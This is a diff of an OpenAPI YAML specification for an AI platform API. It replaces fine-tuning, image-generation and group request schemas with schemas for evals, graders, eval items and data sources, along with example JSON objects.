- description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
- items:
- anyOf:
- - type: object
- title: ChatMessage
- properties:
- role:
- type: string
- description: The role of the message (e.g. "system", "assistant", "user").
- content:
- type: string
- description: The content of the message.
- required:
- - role
- - content
- - $ref: '#/components/schemas/EvalItem'
- required:
- - type
- - template
- - type: object
- title: InputMessagesItemReference
- properties:
- type:
- type: string
- enum:
- - item_reference
- description: The type of input messages. Always `item_reference`.
- item_reference:
- type: string
- description: A reference to a variable in the `item` namespace. Ie, "item.name"
- required:
- - type
- - item_reference
- discriminator:
- propertyName: type
- sampling_params:
- type: object
- properties:
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- temperature:
- type: number
- description: A higher temperature increases randomness in the outputs.
- default: 1
- max_completion_tokens:
- type: integer
- description: The maximum number of tokens in the generated output.
- top_p:
- type: number
- description: An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
- default: 1
- seed:
- type: integer
- description: A seed value to initialize the randomness, during sampling.
- default: 42
- tools:
- type: array
- description: |
- An array of tools the model may call while generating a response. You
- can specify which tool to use by setting the `tool_choice` parameter.
-
- The two categories of tools you can provide the model are:
-
- - **Built-in tools**: Tools that are provided by OpenAI that extend the
- model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
- or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
- [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- - **Function calls (custom tools)**: Functions that are defined by you,
- enabling the model to call your own code. Learn more about
- [function calling](https://developers.openai.com/api/docs/guides/function-calling).
- items:
- $ref: '#/components/schemas/Tool'
- text:
- type: object
- description: |
- Configuration options for a text response from the model. Can be plain
- text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
- - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
- properties:
- format:
- $ref: '#/components/schemas/TextResponseFormatConfiguration'
- model:
- type: string
- description: The name of the model to use for generating completions (e.g. "o3-mini").
- source:
- description: Determines what populates the `item` namespace in this run's data source.
- anyOf:
- - $ref: '#/components/schemas/EvalJsonlFileContentSource'
- - $ref: '#/components/schemas/EvalJsonlFileIdSource'
- - $ref: '#/components/schemas/EvalResponsesSource'
- discriminator:
- propertyName: type
- required:
- - type
- - source
+ - name
+ - created_at
+ - metadata
x-oaiMeta:
- name: The completions data source object used to configure an individual run
- group: eval runs
+ name: The eval object
+ group: evals
example: |
{
- "name": "gpt-6-astra",
- "data_source": {
- "type": "responses",
- "input_messages": {
- "type": "item_reference",
- "item_reference": "item.input"
+ "object": "eval",
+ "id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "data_source_config": {
+ "type": "custom",
+ "item_schema": {
+ "type": "object",
+ "properties": {
+ "label": {"type": "string"},
+ },
+ "required": ["label"]
},
- "model": "gpt-6-astra",
- "source": {
- "type": "responses",
- "model": "gpt-6-astra"
+ "include_sample_schema": true
+ },
+ "testing_criteria": [
+ {
+ "name": "My string check grader",
+ "type": "string_check",
+ "input": "{{sample.output_text}}",
+ "reference": "{{item.label}}",
+ "operation": "eq",
}
+ ],
+ "name": "External Data Eval",
+ "created_at": 1739314509,
+ "metadata": {
+ "test": "synthetics",
}
}
- CreateEvalRunRequest:
+ EvalApiError:
type: object
- title: CreateEvalRunRequest
+ title: EvalApiError
+ description: |
+ An object representing an error response from the Eval API.
properties:
- name:
+ code:
type: string
- description: The name of the run.
- metadata:
- $ref: '#/components/schemas/Metadata'
- data_source:
- type: object
- description: Details about the run's data source.
- anyOf:
- - $ref: '#/components/schemas/CreateEvalJsonlRunDataSource'
- - $ref: '#/components/schemas/CreateEvalCompletionsRunDataSource'
- - $ref: '#/components/schemas/CreateEvalResponsesRunDataSource'
+ description: The error code.
+ message:
+ type: string
+ description: The error message.
required:
- - data_source
- CreateEvalStoredCompletionsDataSourceConfig:
+ - code
+ - message
+ x-oaiMeta:
+ name: The API error object
+ group: evals
+ example: |
+ {
+ "code": "internal_error",
+ "message": "The eval run failed due to an internal error."
+ }
+ EvalCustomDataSourceConfig:
type: object
- title: StoredCompletionsDataSourceConfig
+ title: CustomDataSourceConfig
description: |
- Deprecated in favor of LogsDataSourceConfig.
+ A CustomDataSourceConfig which specifies the schema of your `item` and optionally `sample` namespaces.
+ The response schema defines the shape of the data that will be:
+ - Used to define your testing criteria and
+ - What data is required when creating a run
properties:
type:
type: string
enum:
- - stored_completions
- default: stored_completions
- description: The type of data source. Always `stored_completions`.
+ - custom
+ default: custom
+ description: The type of data source. Always `custom`.
x-stainless-const: true
- metadata:
+ schema:
type: object
- description: Metadata filters for the stored completions data source.
+ description: |
+ The json schema for the run data source items.
+ Learn how to build JSON schemas [here](https://json-schema.org/).
additionalProperties: true
required:
- type
- deprecated: true
+ - schema
x-oaiMeta:
- name: The stored completions data source object for evals
+ name: The eval custom data source config object
group: evals
example: |
{
- "type": "stored_completions",
- "metadata": {
- "use_case": "customer_support_agent"
+ "type": "custom",
+ "schema": {
+ "type": "object",
+ "properties": {
+ "item": {
+ "type": "object",
+ "properties": {
+ "label": {"type": "string"},
+ },
+ "required": ["label"]
+ }
+ },
+ "required": ["item"]
}
}
- CreateFileRequest:
+ EvalGraderLabelModel:
type: object
- additionalProperties: false
- properties:
- file:
- description: |
- The File object (not file name) to be uploaded.
- type: string
- format: binary
- x-oaiMeta:
- exampleFilePath: fine-tune.jsonl
- purpose:
- $ref: '#/components/schemas/FilePurpose'
- description: |
- The intended purpose of the uploaded file. One of:
- - `assistants`: Used in the Assistants API
- - `batch`: Used in the Batch API
- - `fine-tune`: Used for fine-tuning
- - `vision`: Images used for vision fine-tuning
- - `user_data`: Flexible file type for any purpose
- - `evals`: Used for eval data sets
- expires_after:
- $ref: '#/components/schemas/FileExpirationAfter'
- required:
- - file
- - purpose
- CreateFineTuningCheckpointPermissionRequest:
+ title: LabelModelGrader
+ allOf:
+ - $ref: '#/components/schemas/GraderLabelModel'
+ EvalGraderPython:
type: object
- additionalProperties: false
- properties:
- project_ids:
- type: array
- description: The project identifiers to grant access to.
- items:
- type: string
- required:
- - project_ids
- CreateFineTuningJobRequest:
+ title: EvalGraderPython
+ allOf:
+ - $ref: '#/components/schemas/GraderPython'
+ - type: object
+ properties:
+ pass_threshold:
+ type: number
+ description: The threshold for the score.
+ x-oaiMeta:
+ name: Eval Python Grader
+ group: graders
+ example: |
+ {
+ "type": "python",
+ "name": "Example python grader",
+ "image_tag": "2025-05-08",
+ "source": """
+ def grade(sample: dict, item: dict) -> float:
+ \"""
+ Returns 1.0 if `output_text` equals `label`, otherwise 0.0.
+ \"""
+ output = sample.get("output_text")
+ label = item.get("label")
+ return 1.0 if output == label else 0.0
+ """,
+ "pass_threshold": 0.8
+ }
+ EvalGraderScoreModel:
type: object
- properties:
- model:
- description: |
- The name of the model to fine-tune. You can select one of the
- [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
- example: gpt-4o-mini
- anyOf:
- - type: string
- - type: string
- enum:
- - babbage-002
- - davinci-002
- - gpt-3.5-turbo
- - gpt-4o-mini
- title: Preset
- x-oaiTypeLabel: string
- training_file:
- description: |
- The ID of an uploaded file that contains training data.
-
- See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
-
- Your dataset must be formatted as a JSONL file. Additionally, you must upload your file with the purpose `fine-tune`.
-
- The contents of the file should differ depending on if the model uses the [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data), [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) format, or if the fine-tuning method uses the [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization) format.
-
- See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
- type: string
- example: file-abc123
- hyperparameters:
- type: object
- description: |
- The hyperparameters used for the fine-tuning job.
- This value is now deprecated in favor of `method`, and should be passed in under the `method` parameter.
- properties:
- batch_size:
- description: |
- Number of examples in each batch. A larger batch size means that model parameters
- are updated less frequently, but with lower variance.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- title: Auto
- - type: integer
- minimum: 1
- maximum: 256
- learning_rate_multiplier:
- description: |
- Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
- overfitting.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- title: Auto
- - type: number
- minimum: 0
- exclusiveMinimum: true
- n_epochs:
- description: |
- The number of epochs to train the model for. An epoch refers to one full cycle
- through the training dataset.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- title: Auto
- - type: integer
- minimum: 1
- maximum: 50
- deprecated: true
- suffix:
- description: |
- A string of up to 64 characters that will be added to your fine-tuned model name.
-
- For example, a `suffix` of "custom-model-name" would produce a model name like `ft:gpt-4o-mini:openai:custom-model-name:7p4lURel`.
- type: string
- minLength: 1
- maxLength: 64
- default: null
- nullable: true
- validation_file:
- description: |
- The ID of an uploaded file that contains validation data.
-
- If you provide this file, the data is used to generate validation
- metrics periodically during fine-tuning. These metrics can be viewed in
- the fine-tuning results file.
- The same data should not be present in both train and validation files.
-
- Your dataset must be formatted as a JSONL file. You must upload your file with the purpose `fine-tune`.
-
- See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
- type: string
- nullable: true
- example: file-abc123
- integrations:
- type: array
- description: A list of integrations to enable for your fine-tuning job.
- nullable: true
- items:
- type: object
- required:
- - type
- - wandb
- properties:
- type:
- description: |
- The type of integration to enable. Currently, only "wandb" (Weights and Biases) is supported.
- anyOf:
- - type: string
- enum:
- - wandb
- x-stainless-const: true
- wandb:
- type: object
- description: |
- The settings for your integration with Weights and Biases. This payload specifies the project that
- metrics will be sent to. Optionally, you can set an explicit display name for your run, add tags
- to your run, and set a default entity (team, username, etc) to be associated with your run.
- required:
- - project
- properties:
- project:
- description: |
- The name of the project that the new run will be created under.
- type: string
- example: my-wandb-project
- name:
- description: |
- A display name to set for the run. If not set, we will use the Job ID as the name.
- nullable: true
- type: string
- entity:
- description: |
- The entity to use for the run. This allows you to set the team or username of the WandB user that you would
- like associated with the run. If not set, the default entity for the registered WandB API key is used.
- nullable: true
- type: string
- tags:
- description: |
- A list of tags to be attached to the newly created run. These tags are passed through directly to WandB. Some
- default tags are generated by OpenAI: "openai/finetune", "openai/{base-model}", "openai/{ftjob-abcdef}".
- type: array
- items:
- type: string
- example: custom-tag
- seed:
- description: |
- The seed controls the reproducibility of the job. Passing in the same seed and job parameters should produce the same results, but may differ in rare cases.
- If a seed is not specified, one will be generated for you.
- type: integer
- nullable: true
- minimum: 0
- maximum: 2147483647
- example: 42
- method:
- $ref: '#/components/schemas/FineTuneMethod'
- metadata:
- $ref: '#/components/schemas/Metadata'
- required:
- - model
- - training_file
- CreateGroupBody:
+ title: EvalGraderScoreModel
+ allOf:
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - type: object
+ properties:
+ pass_threshold:
+ type: number
+ description: The threshold for the score.
+ EvalGraderStringCheck:
+ type: object
+ title: StringCheckGrader
+ allOf:
+ - $ref: '#/components/schemas/GraderStringCheck'
+ EvalGraderTextSimilarity:
+ type: object
+ title: EvalGraderTextSimilarity
+ allOf:
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - type: object
+ properties:
+ pass_threshold:
+ type: number
+ description: The threshold for the score.
+ required:
+ - pass_threshold
+ x-oaiMeta:
+ name: Text Similarity Grader
+ group: graders
+ example: |
+ {
+ "type": "text_similarity",
+ "name": "Example text similarity grader",
+ "input": "{{sample.output_text}}",
+ "reference": "{{item.label}}",
+ "pass_threshold": 0.8,
+ "evaluation_metric": "fuzzy_match"
+ }
+ EvalItem:
type: object
- description: Request payload for creating a new group in the organization.
+ title: EvalItem
+ description: |
+ A message input to the model with a role indicating instruction following
+ hierarchy. Instructions given with the `developer` or `system` role take
+ precedence over instructions given with the `user` role. Messages with the
+ `assistant` role are presumed to have been generated by the model in previous
+ interactions.
properties:
- name:
+ role:
type: string
- description: Human readable name for the group.
- minLength: 1
- maxLength: 255
+ description: |
+ The role of the message input. One of `user`, `assistant`, `system`, or
+ `developer`.
+ enum:
+ - user
+ - assistant
+ - system
+ - developer
+ content:
+ $ref: '#/components/schemas/EvalItemContent'
+ type:
+ type: string
+ description: |
+ The type of the message input. Always `message`.
+ enum:
+ - message
+ x-stainless-const: true
required:
- - name
- x-oaiMeta:
- example: |
- {
- "name": "Support Team"
- }
- CreateGroupUserBody:
+ - role
+ - content
+ EvalItemContent:
+ title: Eval content
+ description: |
+ Inputs to the model - can contain template strings. Supports text, output text, input images, and input audio, either as a single item or an array of items.
+ anyOf:
+ - $ref: '#/components/schemas/EvalItemContentItem'
+ - $ref: '#/components/schemas/EvalItemContentArray'
+ EvalItemContentArray:
+ type: array
+ title: An array of Input text, Output text, Input image, and Input audio
+ description: |
+ A list of inputs, each of which may be either an input text, output text, input
+ image, or input audio object.
+ items:
+ $ref: '#/components/schemas/EvalItemContentItem'
+ EvalItemContentItem:
+ title: Eval content item
+ description: |
+ A single content item: input text, output text, input image, or input audio.
+ anyOf:
+ - $ref: '#/components/schemas/EvalItemContentText'
+ - $ref: '#/components/schemas/InputTextContent'
+ - $ref: '#/components/schemas/EvalItemContentOutputText'
+ - $ref: '#/components/schemas/EvalItemInputImage'
+ - $ref: '#/components/schemas/InputAudio'
+ x-stainless-naming:
+ ruby:
+ model_name: GraderInputItem
+ EvalItemContentOutputText:
type: object
- description: Request payload for adding a user to a group.
+ title: Output text
+ description: |
+ A text output from the model.
properties:
- user_id:
+ type:
type: string
- description: Identifier of the user to add to the group.
+ description: |
+ The type of the output text. Always `output_text`.
+ enum:
+ - output_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: |
+ The text output from the model.
required:
- - user_id
- x-oaiMeta:
- example: |
- {
- "user_id": "user_abc123"
- }
- CreateImageEditRequest:
+ - type
+ - text
+ EvalItemContentText:
+ type: string
+ title: Text input
+ description: |
+ A text input to the model.
+ EvalItemInputImage:
+ title: Input image
+ description: An image input block used within EvalItem content arrays.
type: object
properties:
- image:
- anyOf:
- - type: string
- format: binary
- - type: array
- maxItems: 16
- items:
- type: string
- format: binary
- description: |
- The image(s) to edit. Must be a supported image file or an array of images.
-
- For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
- `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
- `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
-
- For `dall-e-2`, you can only provide one image, and it should be a square
- `png` file less than 4MB.
- x-oaiMeta:
- exampleFilePath: otter.png
- prompt:
- description: A text description of the desired image(s). The maximum length is 1000 characters for `dall-e-2`, and 32000 characters for the GPT image models.
- type: string
- example: A cute baby sea otter wearing a beret
- mask:
- description: An additional image whose fully transparent areas (e.g. where alpha is zero) indicate where `image` should be edited. If there are multiple images provided, the mask will be applied on the first image. Must be a valid PNG file, less than 4MB, and have the same dimensions as `image`.
- type: string
- format: binary
- x-oaiMeta:
- exampleFilePath: mask.png
- background:
+ type:
type: string
- enum:
- - transparent
- - opaque
- - auto
- default: auto
- example: transparent
- nullable: true
description: |
- Allows to set transparency for the background of the generated image(s). Must
- be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
- used, the model will automatically determine the best background for the
- image.
-
- `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
- `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-image-1
- - gpt-image-1-mini
- - gpt-image-2
- - gpt-image-2-2026-04-21
- - gpt-image-2.5-sunburst
- - gpt-image-2.5-sunburst-2026-09-08
- - gpt-image-2.5-flare
- - gpt-image-2.5-flare-2026-09-08
- - gpt-image-1.5
- - chatgpt-image-latest
- - dall-e-2
- x-stainless-const: true
- x-oaiTypeLabel: string
- description: The model to use for image generation. One of `dall-e-2` or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to `gpt-image-1.5`.
- nullable: true
- example: gpt-image-2
- n:
- type: integer
- minimum: 1
- maximum: 10
- default: 1
- example: 1
- nullable: true
- description: The number of images to generate. Must be between 1 and 10.
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 256x256
- - 512x512
- - 1024x1024
- - 1536x1024
- - 1024x1536
- - auto
- description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
- nullable: true
- response_format:
- type: string
+ The type of the image input. Always `input_image`.
enum:
- - url
- - b64_json
- example: url
- nullable: true
- description: The format in which the generated images are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated. This parameter is only supported for `dall-e-2` (default is `url` for `dall-e-2`), as GPT image models always return base64-encoded images.
- output_format:
+ - input_image
+ x-stainless-const: true
+ image_url:
type: string
- enum:
- - png
- - jpeg
- - webp
- default: png
- example: png
- nullable: true
- description: |
- The format in which the generated images are returned. This parameter is
- only supported for the GPT image models. Must be one of `png`, `jpeg`, or `webp`.
- The default value is `png`.
- output_compression:
- type: integer
- default: 100
- example: 100
- nullable: true
+ format: uri
description: |
- The compression level (0-100%) for the generated images. This parameter
- is only supported for the GPT image models with the `webp` or `jpeg` output
- formats, and defaults to 100.
- user:
+ The URL of the image input.
+ detail:
type: string
- example: user-1234
- description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
- input_fidelity:
- anyOf:
- - $ref: '#/components/schemas/InputFidelity'
- - type: 'null'
- description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
- stream:
- type: boolean
- default: false
- example: false
- nullable: true
description: |
- Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
- partial_images:
- $ref: '#/components/schemas/PartialImages'
- quality:
+ The detail level of the image to be sent to the model. One of `high`, `low`, or `auto`. Defaults to `auto`.
+ required:
+ - type
+ - image_url
+ EvalJsonlFileContentSource:
+ type: object
+ title: EvalJsonlFileContentSource
+ properties:
+ type:
type: string
enum:
- - standard
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- default: auto
- example: high
- nullable: true
- description: |
- The quality of the image that will be generated for GPT image models. The GPT image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
+ - file_content
+ default: file_content
+ description: The type of jsonl source. Always `file_content`.
+ x-stainless-const: true
+ content:
+ type: array
+ items:
+ type: object
+ properties:
+ item:
+ type: object
+ additionalProperties: true
+ sample:
+ type: object
+ additionalProperties: true
+ required:
+ - item
+ description: The content of the jsonl file.
required:
- - prompt
- - image
- CreateImageRequest:
+ - type
+ - content
+ EvalJsonlFileIdSource:
type: object
+ title: EvalJsonlFileIdSource
properties:
- prompt:
- description: A text description of the desired image(s). The maximum length is 32000 characters for the GPT image models, 1000 characters for `dall-e-2` and 4000 characters for `dall-e-3`.
- type: string
- example: A cute baby sea otter
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-image-1
- - gpt-image-1-mini
- - gpt-image-2
- - gpt-image-2-2026-04-21
- - gpt-image-2.5-sunburst
- - gpt-image-2.5-sunburst-2026-09-08
- - gpt-image-2.5-flare
- - gpt-image-2.5-flare-2026-09-08
- - gpt-image-1.5
- - chatgpt-image-latest
- - dall-e-2
- - dall-e-3
- x-stainless-nominal: false
- x-oaiTypeLabel: string
- description: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter specific to the GPT image models is used.
- nullable: true
- example: gpt-image-2
- n:
- type: integer
- minimum: 1
- maximum: 10
- default: 1
- example: 1
- nullable: true
- description: The number of images to generate. Must be between 1 and 10. For `dall-e-3`, only `n=1` is supported.
- quality:
+ type:
type: string
enum:
- - standard
- - hd
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- default: auto
- example: medium
- nullable: true
- description: |
- The quality of the image that will be generated.
-
- - `auto` (default value) will automatically select the best quality for the given
- model.
- - `high`, `medium` and `low` are supported for the GPT image models.
- - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
- snapshots, also support `xhigh` and `max`.
- - `hd` and `standard` are supported for `dall-e-3`.
- - `standard` is the only option for `dall-e-2`.
- response_format:
+ - file_id
+ default: file_id
+ description: The type of jsonl source. Always `file_id`.
+ x-stainless-const: true
+ id:
type: string
- enum:
- - url
- - b64_json
- default: url
- example: url
- nullable: true
- description: The format in which generated images with `dall-e-2` and `dall-e-3` are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated. This parameter isn't supported for the GPT image models, which always return base64-encoded images.
- output_format:
+ description: The identifier of the file.
+ required:
+ - type
+ - id
+ EvalList:
+ type: object
+ title: EvalList
+ description: |
+ An object representing a list of evals.
+ properties:
+ object:
type: string
enum:
- - png
- - jpeg
- - webp
- default: png
- example: png
- nullable: true
- description: The format in which the generated images are returned. This parameter is only supported for the GPT image models. Must be one of `png`, `jpeg`, or `webp`.
- output_compression:
- type: integer
- default: 100
- example: 100
- nullable: true
- description: The compression level (0-100%) for the generated images. This parameter is only supported for the GPT image models with the `webp` or `jpeg` output formats, and defaults to 100.
- stream:
- type: boolean
- default: false
- example: false
- nullable: true
+ - list
+ default: list
description: |
- Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
- This parameter is only supported for the GPT image models.
- partial_images:
- $ref: '#/components/schemas/PartialImages'
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - auto
- - 1024x1024
- - 1536x1024
- - 1024x1536
- - 256x256
- - 512x512
- - 1792x1024
- - 1024x1792
- description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
- nullable: true
- moderation:
- type: string
- enum:
- - low
- - auto
- default: auto
- example: low
- nullable: true
- description: Control the content-moderation level for images generated by the GPT image models. Must be either `low` for less restrictive filtering or `auto` (default value).
- background:
- type: string
- enum:
- - transparent
- - opaque
- - auto
- default: auto
- example: transparent
- nullable: true
+ The type of this object. It is always set to "list".
+ x-stainless-const: true
+ data:
+ type: array
description: |
- Allows to set transparency for the background of the generated image(s). Must
- be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
- used, the model will automatically determine the best background for the
- image.
-
- `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
- `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
- style:
+ An array of eval objects.
+ items:
+ $ref: '#/components/schemas/Eval'
+ first_id:
type: string
- enum:
- - vivid
- - natural
- default: vivid
- example: vivid
- nullable: true
- description: The style of the generated images. This parameter is only supported for `dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images.
- user:
+ description: The identifier of the first eval in the data array.
+ last_id:
type: string
- example: user-1234
- description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ description: The identifier of the last eval in the data array.
+ has_more:
+ type: boolean
+ description: Indicates whether there are more evals available.
required:
- - prompt
- CreateImageVariationRequest:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ x-oaiMeta:
+ name: The eval list object
+ group: evals
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "eval",
+ "id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "data_source_config": {
+ "type": "custom",
+ "schema": {
+ "type": "object",
+ "properties": {
+ "item": {
+ "type": "object",
+ "properties": {
+ "input": {
+ "type": "string"
+ },
+ "ground_truth": {
+ "type": "string"
+ }
+ },
+ "required": [
+ "input",
+ "ground_truth"
+ ]
+ }
+ },
+ "required": [
+ "item"
+ ]
+ }
+ },
+ "testing_criteria": [
+ {
+ "name": "String check",
+ "id": "String check-2eaf2d8d-d649-4335-8148-9535a7ca73c2",
+ "type": "string_check",
+ "input": "{{item.input}}",
+ "reference": "{{item.ground_truth}}",
+ "operation": "eq"
+ }
+ ],
+ "name": "External Data Eval",
+ "created_at": 1739314509,
+ "metadata": {},
+ }
+ ],
+ "first_id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "last_id": "eval_67abd54d9b0081909a86353f6fb9317a",
+ "has_more": true
+ }
+ EvalLogsDataSourceConfig:
type: object
+ title: LogsDataSourceConfig
+ description: |
+ A LogsDataSourceConfig which specifies the metadata property of your logs query.
+ This is usually metadata like `usecase=chatbot` or `prompt-version=v2`, etc.
+ The schema returned by this data source config is used to defined what variables are available in your evals.
+ `item` and `sample` are both defined when using this data source config.
properties:
- image:
- description: The image to use as the basis for the variation(s). Must be a valid PNG file, less than 4MB, and square.
- type: string
- format: binary
- x-oaiMeta:
- exampleFilePath: otter.png
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - dall-e-2
- x-stainless-const: true
- x-oaiTypeLabel: string
- description: The model to use for image generation. Only `dall-e-2` is supported at this time.
- nullable: true
- n:
- type: integer
- minimum: 1
- maximum: 10
- default: 1
- example: 1
- nullable: true
- description: The number of images to generate. Must be between 1 and 10.
- response_format:
- type: string
- enum:
- - url
- - b64_json
- default: url
- example: url
- nullable: true
- description: The format in which the generated images are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated.
- size:
+ type:
type: string
enum:
- - 256x256
- - 512x512
- - 1024x1024
- default: 1024x1024
- example: 1024x1024
- nullable: true
- description: The size of the generated images. Must be one of `256x256`, `512x512`, or `1024x1024`.
- user:
- type: string
- example: user-1234
+ - logs
+ default: logs
+ description: The type of data source. Always `logs`.
+ x-stainless-const: true
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ schema:
+ type: object
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ The json schema for the run data source items.
+ Learn how to build JSON schemas [here](https://json-schema.org/).
+ additionalProperties: true
required:
- - image
- CreateMessageRequest:
+ - type
+ - schema
+ x-oaiMeta:
+ name: The logs data source object for evals
+ group: evals
+ example: |
+ {
+ "type": "logs",
+ "metadata": {
+ "language": "english"
+ },
+ "schema": {
+ "type": "object",
+ "properties": {
+ "item": {
+ "type": "object"
+ },
+ "sample": {
+ "type": "object"
+ }
+ },
+ "required": [
+ "item",
+ "sample"
+ }
+ }
+ EvalResponsesSource:
type: object
- additionalProperties: false
- required:
- - role
- - content
+ title: EvalResponsesSource
+ description: |
+ A EvalResponsesSource object describing a run data source configuration.
properties:
- role:
+ type:
type: string
enum:
- - user
- - assistant
- description: |
- The role of the entity that is creating the message. Allowed values include:
- - `user`: Indicates the message is sent by an actual user and should be used in most cases to represent user-generated messages.
- - `assistant`: Indicates the message is generated by the assistant. Use this value to insert messages from the assistant into the conversation.
- content:
+ - responses
+ description: The type of run data source. Always `responses`.
+ metadata:
+ anyOf:
+ - type: object
+ description: Metadata filter for the responses. This is a query parameter used to select responses.
